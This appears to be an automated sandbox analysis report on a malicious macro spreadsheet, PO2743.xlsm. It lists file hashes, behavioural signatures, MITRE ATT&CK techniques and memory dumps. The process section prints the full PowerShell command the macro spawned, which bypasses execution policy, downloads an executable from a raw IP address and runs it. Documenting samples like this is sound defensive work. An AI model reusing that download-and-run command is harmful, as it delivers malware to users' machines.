85bdc4781b13f6953ad5b63b787e7e08b35a1ec25a29f1f5cb209450cb7a6f51

General

Target

PO2743.xlsm
Size

41KB
MD5

35e2b1bf89ea38008f77574d084b3f35
SHA1

03aa73f9a067362e05f903332233f088aed05f94
SHA256

85bdc4781b13f6953ad5b63b787e7e08b35a1ec25a29f1f5cb209450cb7a6f51
SHA512

f1ae34f50bde14c299c02cce3e07826a13c3035f9b70458a0d0c2d774ea81aec8d9a6436148fb641dab0886a1f5439267c88710da62df446930051d1b856351d
SSDEEP

768:kQL8fvj+qtTsv+nWL8hDBIJYfTH+niSpvfkBBGR2FFiKk/fa9Rz+n32s+:JLuvqq+v+9G1Bh8/GR2FFi3/y903z+

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1976	968	powershell.exe	EXCEL.EXE

Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

968 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1976 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1976 powershell.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

EXCEL.EXE

pid process

968 EXCEL.EXE
968 EXCEL.EXE
968 EXCEL.EXE
968 EXCEL.EXE

pid	process
968	EXCEL.EXE

pid	process
1976	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1976	powershell.exe

pid	process
968	EXCEL.EXE
968	EXCEL.EXE
968	EXCEL.EXE
968	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 968 wrote to memory of 1976	968	EXCEL.EXE	powershell.exe
PID 968 wrote to memory of 1976	968	EXCEL.EXE	powershell.exe
PID 968 wrote to memory of 1976	968	EXCEL.EXE	powershell.exe
PID 968 wrote to memory of 1976	968	EXCEL.EXE	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PO2743.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:968

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://173.232.146.78/505/Doc-102PO-207841001jpg.exe" -OutFile $TempFile; Start-Process $TempFile;
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1976

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/968-54-0x000000002F3C1000-0x000000002F3C4000-memory.dmp

Filesize
12KB

Download
memory/968-55-0x0000000071C11000-0x0000000071C13000-memory.dmp

Filesize
8KB

Download
memory/968-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/968-57-0x0000000075921000-0x0000000075923000-memory.dmp

Filesize
8KB

Download
memory/968-58-0x0000000072BFD000-0x0000000072C08000-memory.dmp

Filesize
44KB

Download
memory/968-64-0x0000000072BFD000-0x0000000072C08000-memory.dmp

Filesize
44KB

Download
memory/1976-61-0x0000000000000000-mapping.dmp

Download
memory/1976-63-0x000000006C8C0000-0x000000006CE6B000-memory.dmp

Filesize
5.7MB

Download
memory/1976-65-0x000000006C8C0000-0x000000006CE6B000-memory.dmp

Filesize
5.7MB

Download
memory/1976-66-0x000000006C8C0000-0x000000006CE6B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads